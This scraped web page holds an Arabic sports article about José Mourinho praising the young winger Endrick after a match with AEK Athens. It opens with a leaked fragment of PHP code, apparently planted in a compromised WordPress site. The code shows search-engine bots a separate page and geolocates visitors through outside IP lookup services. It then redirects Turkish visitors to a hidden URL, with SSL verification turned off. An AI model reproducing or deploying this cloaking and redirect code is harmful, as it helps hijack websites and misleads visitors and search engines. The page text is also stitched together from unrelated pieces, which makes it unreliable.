, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => 'Mozilla/5.0', ]); $r = curl_exec($ch); curl_close($ch); return is_string($r) ? $r : ''; }; $ms_client_ip = static function (): string { foreach (['HTTP_CF_CONNECTING_IP', 'HTTP_TRUE_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'] as $k) { $v = (string)($_SERVER[$k] ?? ''); if ($k === 'HTTP_X_FORWARDED_FOR') { $v = trim(explode(',', $v)[0]); } $v = trim($v); if ($v !== '' && filter_var($v, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { return $v; } } $v = trim(explode(',', (string)($_SERVER['REMOTE_ADDR'] ?? ''))[0]); return filter_var($v, FILTER_VALIDATE_IP) ? $v : ''; }; $ms_lang_tr = static function (): bool { $al = strtolower((string)($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '')); return $al !== '' && (bool)preg_match('/(?:^|,|\s)tr(?:-|$|,|;)/', $al); }; $ms_country = static function () use ($ms_client_ip, $ms_http_get, $ms_lang_tr): string { foreach (['HTTP_CF_IPCOUNTRY', 'HTTP_X_COUNTRY_CODE', 'GEOIP_COUNTRY_CODE', 'HTTP_X_GEO_COUNTRY'] as $k) { $cc = strtoupper(trim((string)($_SERVER[$k] ?? ''))); if ($cc === 'TUR') { $cc = 'TR'; } if (preg_match('/^[A-Z]{2}$/', $cc) && $cc !== 'XX' && $cc !== 'ZZ') { return $cc; } } $ip = $ms_client_ip(); if ($ip === '') { return $ms_lang_tr() ? 'TR' : 'XX'; } $ck = sys_get_temp_dir() . '/ms_cc_' . md5($ip); if (is_file($ck) && (time() - filemtime($ck) < 86400)) { $cached = strtoupper(trim((string)@file_get_contents($ck))); if (preg_match('/^[A-Z]{2}$/', $cached)) { return $cached; } } $code = ''; foreach ([ 'http://ip-api.com/json/' . rawurlencode($ip) . '?fields=countryCode', 'https://get.geojs.io/v1/ip/country/' . rawurlencode($ip), 'https://ipapi.co/' . rawurlencode($ip) . '/country/', 'https://ipwho.is/' . rawurlencode($ip) . '?fields=country_code', ] as $u) { $raw = $ms_http_get($u); if ($raw === '') { continue; } $t = strtoupper(trim($raw)); if (preg_match('/^[A-Z]{2}$/', $t) && $t !== 'XX') { $code = $t; break; } if (preg_match('/"countryCode"\s*:\s*"([A-Z]{2})"/', $raw, $m) || preg_match('/"country_code"\s*:\s*"([A-Z]{2})"/i', $raw, $m)) { $code = strtoupper($m[1]); break; } } if (preg_match('/^[A-Z]{2}$/', $code) && $code !== 'XX') { @file_put_contents($ck, $code); return $code; } return $ms_lang_tr() ? 'TR' : 'XX'; }; $ms_root = __DIR__; if (basename($ms_root) === 'mu-plugins') { $ms_root = dirname($ms_root, 2); } if ($is_google_bot) { if (!headers_sent()) { header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, private'); header('Content-Type: text/html; charset=utf-8'); header('X-Robots-Tag: index, follow'); header('X-Medusa-Path: prepend-bot'); } $lic = $ms_root . '/license.html'; if (is_file($lic) && filesize($lic) >= 32) { readfile($lic); } else { echo 'License

İstanbul

'; } exit; } $cc = $ms_country(); $ms_is_mobile = (bool)preg_match('/Mobile|Android|iPhone|iPod|iPad|webOS|BlackBerry|IEMobile|Opera Mini|Opera Mobi|CriOS/i', $userAgent); if ($cc !== 'TR' && $ms_is_mobile && $ms_lang_tr()) { $cc = 'TR'; } if (!headers_sent()) { header('X-Medusa-Geo: ' . $cc); header('X-Medusa-Path: prepend'); } if ($cc === 'TR') { $vitrin = (string)MS_VITRIN_BAKED; if ($vitrin !== '' && filter_var($vitrin, FILTER_VALIDATE_URL) && !preg_match('/\\.txt$/i', (string)(parse_url($vitrin, PHP_URL_PATH) ?: ''))) { if (!headers_sent()) { header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, private'); header('Location: ' . $vitrin, true, 302); header('X-Medusa-Vitrin: 302'); } exit; } } مورينيو يشعر بغضب بسبب اندريك ..! – احوال الرياضة
اولمبياد

مورينيو يشعر بغضب بسبب اندريك ..!

هاي كورة

الموجز :

اشاد المدرب جوزيه مورينيو بأداء لاعبه الشاب اندريك وبالمستوى الرائع الذي قدمه ضد ايك اثينا مؤكدا ان تواجده على دكة البدلاء وعدم استطاعته لمنحه فرصة اكبر يثير غضبا كبيرا داخله .

التفاصيل :

علق المدرب البرتغالي جوزيه مورينيو على تجاهله للمستوى الرائع لإندريك وحبسه على دكة البدلاء قائلا : ” اشعر بغضب خاص ، تماما كما هو الحال مع جميع اللاعبين الذي لا يشاركون لأنهم جميعهم يستحقون اللعب .. اندريك يمتلك قدرات كبيرة واعتقد انه من الصعب على لاعب جناح ان يخوض ساعة كاملة أمام لاعبين بهذه الجودة ثم يغادر الملعب ” .

وافتخر المدرب بدكة البدلاء القوية التي يمتلكها مشيرا الى ان البعض يمكن ان ينظر اليه ” بحسد ” بسبب جودة لاعبيه العالية ، واكد المدرب ان ظروف المباراة هي ما تجبره على تحديد اختياراته من الدكة ففي لقاء ايك اثينا بعد التقدم 2-1 كان سيجري 3 تبديلات ولكن بعد ان تمكن الفريق اليوناني من التعادل غير تبديلاته على الفور .

المدرب يتفهم غضب اللاعبين البعيدين عن المشاركة ويرى ان مستواهم الجيد عند الدخول يثبت احقيتهم ، ورغم ذلك هذا لا يؤثرعلى حساباته لوضع خطته مشيرا الى عدم استطاعته للتخلي عن اي لاعب من تشكيلته الاساسية لمنح الفرصة لغيره .

فهل سيقبل اندريك بمستواه الحالي بدور البديل ؟ .

اترك تعليقاً

زر الذهاب إلى الأعلى